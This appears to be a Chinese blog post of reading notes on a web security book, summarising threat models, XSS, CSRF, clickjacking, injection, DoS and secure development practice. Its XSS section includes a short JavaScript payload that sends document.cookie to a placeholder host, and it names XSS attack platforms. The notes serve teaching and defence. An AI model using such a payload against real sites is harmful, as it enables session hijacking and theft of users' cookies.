首页   快速返回

白帽子讲Web安全读书笔记     所属分类 security
四个大篇,安全世界观、客户端脚本安全、服务器端应用安全以及互联网公司的安全运营

安全世界观

白帽子:精通安全技术,工作在反黑客领域的专家们;
黑帽子:利用黑客技术造成破坏,甚至进行网络犯罪的群体。

安全问题的本质是信任的问题。

安全的三要素(CIA) 机密性(Confidentiality)完整性(Integrity)可用性(Availability)

机密性:要求保护数据内容不能泄露,加密是实现机密性要求的常见手段。
完整性:要求保护数据内容是完整、没有被篡改的,常用方法是数字签名。
可用性:要求保护资源是“随需而得”,DOS破坏了这个规则。

互联网安全的核心核心问题是数据安全的问题。

安全评估的四个阶段:资产等级划分、威胁分析、风险分析、确认解决方案

微软提出的威胁建模方法 STRIDE模型

Spoofing(伪装) 冒充他人身份 
Tampering(篡改 )修改数据或者代码
Repudiation(抵赖)否认做过的事 抵赖
InformationDisclosure(信息泄露)机密信息泄露
Denial of Service(拒绝服务)拒绝服务
Elevation of Privilege(提升权限)未经授权获得许可


白帽子兵法

黑名单、白名单原则
最小权限原则
纵深防御原则,需要全面防御
数据与代码分离的原则,这是漏洞的成因。
不可预测性原则,指攻击方式的不可预测性。


浏览器安全

同源策略:这是浏览器最核心也是最基本的安全功能。其限制来自不同源的“document”或脚本,对当前“document”读取或者设置某些属性。
影响因素有:host、子域名、端口、协议。
script img iframe link 等标签可以跨域请求资源,不受同源策略的限制。

挂马:在网页中插入一段恶意代码,利用浏览器漏洞执行任意代码的攻击方式。

恶意网址拦截工作原理:浏览器定期从服务器端获取最新的恶意网址黑名单,如用户上网时访问的网址在黑名单中,浏览器就会弹出一个警告页面。
分为两类:(1)挂马网站,通过浏览器漏洞执行shellcode植入木马;(2)钓鱼类网站,欺骗用户。

跨站脚本攻击(XSS)
Cross Site Script,因为和CSS重名,所以改名XSS

XSS 分类 

按照 数据是否保存在服务器端 来分

1 反射型XSS(非持久型) 把用户输入的数据“反射”给浏览器。需要用户点击一个恶意链接才能攻击成功。
2 存储型XSS(持久型)把用户输入的数据“存储”在服务器端,其具有很强的稳定性。一个常见的场景是,黑客写一篇包含恶意链接的博客,所有访问这个博客的用户都会执行这个恶意链接。
3 DOM based XSS:也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。



XSS所能做的事:
构造GET和POST请求;
XSS钓鱼;
识别用户浏览器
识别用户安装的软件;
CSS History Back; 通过CSS,来发现一个用户曾经访问过的网站
获取用户的真实IP地址。

XSS Payload就是JavaScript脚本
一个最常见的XSS Payload就是读取浏览器的Cookie对象,从而发起 Cookie劫持 攻击。

var img=document.createElement("img");
img.src="http://www.xxx.com/x?"+escape(document.cookie);
document.body.appendChild(img);

把请求发到远程服务器,cookie信息被窃取 
Cookie的 HttpOnly 可以防止 Cookie劫持


XSS攻击平台 
XSS Payload很强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。
这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。 

Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。 
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。 
XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。 
这些XSS攻击平台有助于深入理解XSS的原理和危害。

base 标签 定义所有使用 相对路径标签的hosting地址 
base标签可以出现在页面的任何地方,并作用于该标签之后的所有标签
攻击者在页面中插入 base 标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用 相对路径的标签

设计XSS安全方案时,一定要过滤掉这个非常危险的标签

window.name的妙用
利用这个对象,可以实现跨域、跨页面传递数据

location.hash 
location.hash的内容不会在HTTP包中发送,服务器端的Web日志中并不会记录下location.hash里的内容

http://www.xxx.com/test.html#alert(1) 


CSRF Cross Site Request Forgery 跨站点请求伪造

CSRF防御手段

1 尽量使用POST,限制GET
2 浏览器Cookie策略
3 加验证码
4 Referer Check
5 Anti CSRF Token


点击劫持(ClickJacking)

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,
用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

Flash点击劫持;图片覆盖劫持;拖拽劫持和数据窃取,
拖拽不受同源策略的限制,思路是诱使用户从隐藏的不可见iframe中“拖拽”出攻击者希望得到的数据,
然后放到攻击者能控制的另外一个页面中,从而窃取数据;触屏劫持。

防御手段

1 frame busting,禁止iframe的使用
2 X-Frame-Options(HTTP头):DENY\SAMEORIGIN\ALLOW-FROM origin


HTML5安全

HTML5新标签的XSS:定义了许多新标签,可能带来新的XSS攻击。

Iframe的sandbox属性极大增强了iframe的安全性。

Link Types:noreferrer,标签指定了noreferrer后,浏览器在请求该标签指定的地址时将不再发送Referer。从而保护敏感信息和隐私。

注入攻击
条件:
1 用户能够控制数据输入;
2 原本要执行的代码拼接了用户的输入。

SQL注入防御:找到所有的SQL注入漏洞;修补漏洞。

1 使用预编译语句;
2 使用存储过程(避免使用动态SQL)
3 检查数据类型;
4 使用安全的函数。

文件上传漏洞

用户上传一个可执行的脚本文件并通过此脚本获得执行服务器端命令的能力。

要完成此攻击,需要满足以下几个条件:

1 上传的文件能够被web容器解释执行。且目录是web容器所覆盖到的路径。
2 用户能从web上访问这个文件。
3 用户上传的文件若被安全检查等改变内容,也可能导致攻击失败。

防御方法:
1 文件上传目录设置为不可执行。
2 判断文件类型(使用MIME Type和后缀检查),推荐使用白名单
3 使用随机数改写文件名和文件路径
4 单独设置文件服务器域名

认证与会话管理
Session Fixation攻击:没有换“锁”而导致的安全问题。
解决方法:登录完成后,重写sessionID

Session 保持攻击:
1 强制销毁Session
2 当用户客户端发生变化时,要求用户重新登录
3 每个用户只允许拥有一个Session。

访问控制

垂直权限管理:建立用户与权限之间的对应关系,常使用RBAC。
水平权限管理:对同一个角色能否访问不同资源进行授权。


加密算法与随机数

系统中对数据进行加密使用的加密算法和随机数生成算法的安全性和健壮性都直接关系到整个系统的安全性。
对称加密、非对称加密的密钥的安全性,随机数算法的随机性都是要考虑的问题。

Web框架安全

在MVC框架中,通过切面、过滤器等方式,对数据进行全局处理。
在VIEW层解决XSS问题
使用securit token解决CSRF攻击问题。

应用层拒绝服务攻击

DDOS:分布式拒绝服务,利用合理的请求造成资源过载,导致服务不可用。

常见的DDOS攻击有:SYN flood,UDP flood,ICMP flood等。

SYN flood利用TCP协议设计中的缺陷。

对抗SYN flood的主要措施有SYN Cookie/SYN Proxy,Safereset等算法

应用层DDOS发生在TCP三次握手已经完成,连接已经建立,所有发起攻击的IP地址都是真实的,针对服务器性能的一种攻击。

CC攻击:对一些消耗资源较大的应用页面不断发起正常请求,以达到消耗服务器资源的目的。

针对应用层DDOS的防御措施:

1  限制请求频率;
2  对应用程序代码进行优化;
3  对网络架构进行优化;
4  实现一些对抗手段,如限制每个IP的请求频率。

除CC外,还可能利用一些Web Server的漏洞或者设计缺陷,称为资源耗尽攻击:

1 slowloris攻击:以极低的速度向服务器发送HTTP请求,由于Web server对于并发的连接数有一定的上限,恶意占用这些连接数,本质:对有限资源的无限制滥用。
2 HTTP POST DOS:指定非常大的Content-length值,然后以很低的速度发包。可以使用web应用防火墙或者一个定制的Web Server安全模块。
3 Server Limit DOS:由cookie造成的一种拒绝服务,通过XSS攻击将cookie值设置为超长,这样在发起HTTP请求时,由于Web Server对HTTP头有长度限制,导致请求不成功。
4 ReDOS,正则DOS


Web Server配置安全
Web服务器安全即应用部署时的运行环境安全,包括Web Server、脚本语言解释器、中间件等,对其提供一些配置参数,以起到安全保护作用。
Web Server的安全关注两点:1、自身是否安全;2、其是否提供了可使用的安全功能。

互联网业务安全
安全是产品的一个特性。
优秀的安全方案至少具备两个条件:
1、良好的用户体验;2、优秀的性能。
业务逻辑要安全,即产品在设计时尽可能消除其潜在缺陷。


安全开发流程

由微软提出,SDL(Security Development Lifecycle),大致分为16个阶段:

1 培训:开发团队的所有成员都必须接受适当的安全培训,包括安全设计、威胁建模、安全编码、安全测试、隐私等知识。
2 安全要求:在项目确立前,确定安全的要求和需要做的事情。
3 质量门/bug栏:确定安全和隐私质量的最低可接受级别。
4 安全和隐私风险评估:用于和确定软件中需要评析的功能环节
5 设计要求:仔细考虑安全和隐私问题
6 减小攻击面:通过减少攻击者利用潜在弱点或漏洞的机会,来降低风险。
7 威胁建模:明确可能来自的攻击有哪些方面,其提出了STRIDE模型。
8 使用指定工具:编译器、链接器等。
9 弃用不安全的函数。
10 静态分析:由相关工具辅助完成,结果与人工分析相结合。
11 动态程序分析:用户测试环节验证程序的安全性。
12 模糊测试:专门形式的动态分析,通过故意向应用程序引入不良格式或随机数据诱发程序故障。
13 威胁模型和攻击面评价。
14 事件响应计划。
15 最终安全评析:发布之前仔细检查对软件执行的所有安全活动。
16 发布/存档。

SDL实战经验准则:

1 与项目经理进行充分沟通,排出足够时间。
2 规范公司的立项流程,确保所有项目都能通知到安全团队。
3 梳理安全部门的权威,项目必须由安全部门审核后才能发布。
4 将技术方案写入开发、测试的工作手册中。
5 给工程师培训安全方案。
6 记录所有的安全bug,激励程序员编写安全的代码。

安全运营

从战略层面上来讲有三个:

1 Find and Fix(应用脆弱性扫描,渗透测试 )
2 Defend and Defer(Web应用防火墙),安全监控和警报是有效手段。
3 Secure at the Source(安全软件开发生命周期)
Fix工作分两种:1、扫描漏洞并及时修补;2、安全事件发生或0day漏洞被公布时,紧急响应。


安全运营的重要目标:建立SOC(Secure Operation Center)

上一篇     下一篇
java中的队列介绍

http get 与 post 请求区别

web开发安全知识点整理

一段英文七个版本的中文翻译

程序员之歌之燃烧我的计算机

IT工程师的八荣八耻